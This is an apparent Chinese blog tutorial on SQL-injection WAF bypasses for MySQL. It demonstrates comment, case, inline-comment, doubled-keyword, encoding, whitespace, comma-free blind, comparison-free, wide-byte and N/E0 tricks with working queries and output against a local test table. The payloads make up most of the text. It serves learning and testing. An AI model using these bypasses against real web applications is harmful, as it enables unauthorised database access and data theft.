mysql 绕过select报错_sql绕过2

0x00 sql注入理解

SQL注入能使攻击者绕过认证机制，完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称，它是访问数据库的事实标准。目前，大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样，SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话，用户数据就有可能被解释成命令， 这样的话，远程用户就不仅能向Web应用输入数据，而且还可以在数据库上执行任意命令了。

sql注入的原因，表面上说是因为 拼接字符串，构成sql语句，没有使用 sql语句预编译，绑定变量；但是更深层次的原因是，将用户输入的字符串，当成了 “sql语句” 来执行。

比如语句 String sql = "select id,no from user where id=" + id;

我们希望用户输入的 id 的值，仅仅作为一个字符串字面值，传入数据库执行，但是当输入了： 2 or 1=1 时，其中的 or 1=1 并没有作为 where id= 的字面值，而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据，作为了命令来执行。

测试环境：Server version: 5.7.17-log MySQL Community Server (GPL)

0x01 sql注入绕过

1.1 注释符绕过

常用注释符：

-- , /**/, #

验证：

mysql> select * from sql_test where id = /*11*/1;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.00 sec)mysql> select * from sql_test where id = 3;-- select * from sql_test;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 3 | test2 | 456 |

+----+----------+----------+

1 row in set (0.00 sec)mysql> select * from sql_test where id = 3;# select * from sql_test;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 3 | test2 | 456 |

+----+----------+----------+

1 row in set (0.00 sec)

这里还从别的表哥博客中发现了一种新姿势：

mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

| 3 | test2 | 456 |

+----+----------+----------+

2 rows in set (0.00 sec)

mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.00 sec)

理解如下：

where id=1=0/1=1

->where id=1=0=1

id!=1,比如id=2 和 id=3的时候

id=1返回了一个值为0的布尔变量

0=0继而返回了1的布尔变量

再和=1比较，返回比较成功，故选取了id2,3的记录

先除后判等，左往右

1.2 大小写绕过

sql语句忽略关键词是否大小写，其实只要waf不是故意这样设计的，基本上拦截都是大小写一起拦截的

mysql> select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 3 | test2 | 456 |

| 2 | test | 234 |

+----+----------+----------+

2 rows in set (0.00 sec)

1.3 内联注释绕过

ummmm，解释起来就是，它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中，这样这些语句如果在其它数据库中是不会被执行，但在MYSQL中它会执行

mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

|  3 | test2    | 456      |

|  2 | test     | 234      |

+----+----------+----------+

2 rows in set (0.00 sec)

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

这个一般用于简易waf，好心办坏事，比如说他将关键词select忽略大小写，只要有这个词，就把它替换成空(注意，只替换一次)，这样原先我们注入的seleselectct是错误的，识别不出来的，但是经过waf 就变成了select，可以正确识别

1.5 编码绕过

双重url编码，这个得遇到特殊题目可以这么做，后台可能代码如下：

$insert=$link->query(urldecode($_GET['id']));

$row=$insert->fetch_row();

16进制绕过：

mysql> select * from sql_test where id = 3 union select * from sql_test where username = 0x74657374;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 3 | test2 | 456 |

| 2 | test | 234 |

+----+----------+----------+

2 rows in set (0.06 sec)mysql> select * from sql_test where username = char(116)+char(101)+char(115)+char(116);

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

| 2 | test | 234 |

| 3 | test2 | 456 |

+----+----------+----------+

3 rows in set, 3 warnings (0.00 sec)

1.6 空格绕过

waf拦截了空格，怎么办？五种考虑，用双空格/制表符代替尝试，用/**/当做空格，用括号包起来进行，用回车代替空格，反引号`的使用

mysql> select(id)from(sql_test)where(id=1);

+----+

| id |

+----+

| 1 |

+----+

1 row in set (0.00 sec)mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/;

+----+

| id |

+----+

| 1 |

+----+

1 row in set (0.00 sec)mysql> select

-> id

-> from

-> sql_test

-> where

-> id

-> =

-> 1

-> ;

+----+

| id |

+----+

| 1 |

+----+

1 row in set (0.00 sec)

注：url中%0a为回车

mysql> select username from sql_test where id=1 ;

+----------+

| username |

+----------+

| admin |

+----------+

1 row in set (0.00 sec)mysql> select*from`sql_test`where`id`=1;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.00 sec)

1.7  等于号绕过

拦截了等于号，我们可以用like去代替：

mysql> select * from sql_test where username like 'admin';

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.00 sec)

1.8 逗号绕过

在使用盲注的时候，需要使用到substr(),mid(),limit；这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决，limit则可以用offset

mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

| 2 | test | 234 |

| 3 | test2 | 456 |

+----+----------+----------+

3 rows in set (0.00 sec)

mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

| 3 | test2 | 456 |

+----+----------+----------+

2 rows in set (0.00 sec)mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

| 3 | test2 | 456 |

+----+----------+----------+

2 rows in set (0.00 sec)mysql> select * from sql_test limit 1 offset 1;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

+----+----------+----------+

1 row in set (0.00 sec)

1.9 大于号小于号拦截绕过

在使用盲注的时候，在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符，那么就需要使用到greatest，strcmp,in,between来进行绕过了。

mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.05 sec)mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1);

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.03 sec)

mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97);

Empty set (0.00 sec)

mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a');

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.23 sec)

mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b');

Empty set (0.00 sec)mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.00 sec)

mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c';

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | 123456 |

+----+----------+----------+

1 row in set (0.00 sec)

2.0 宽字节注入

过滤单引号时，可以试试宽字节

%bf%27 %df%27 %aa%27

%df’ 被PHP转义(开启GPC、用addslashes函数，或者icov等)，单引号被加上反斜杠，变成了 %df’，其中的十六进制是 %5C ，那么现在%df’ =%df%5c%27，如果程序的默认字符集是GBK等宽字节字符集，则MySQL用GBK的编码时，会认为 %df%5c 是一个宽字符，也就是縗’，也就是说：%df’ = %df%5c%27=縗’，有了单引号就好注入了。

2.1 常用连接语句符号

or，and，union，&&，||，^

^指的是异或操作，通常用于布尔型盲注绕过连接词

2.2 几个报错注入用来绕过的函数

extractvalue/updatexml

解释太复杂了，这里有详解，点这里

2.7 N,E0，.0绕过

其实相当于NULL字符

mysql> select*from sql_test where id =Nunion select * from sql_test where id=2;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

+----+----------+----------+

1 row in set (0.00 sec)mysql> select*from sql_test where id =8E0union select * from sql_test where id=2;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

+----+----------+----------+

1 row in set (0.00 sec)

mysql> select*from sql_test where id =8.0union select * from sql_test where id=2;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 2 | test | 234 |

+----+----------+----------+

1 row in set (0.06 sec)mysql> select*from sql_test where id =7E0;

Empty set (0.00 sec)

mysql> select*from sql_test where id =7.0;

Empty set (0.00 sec)

mysql> select*from sql_test where id =N;

Empty set (0.00 sec)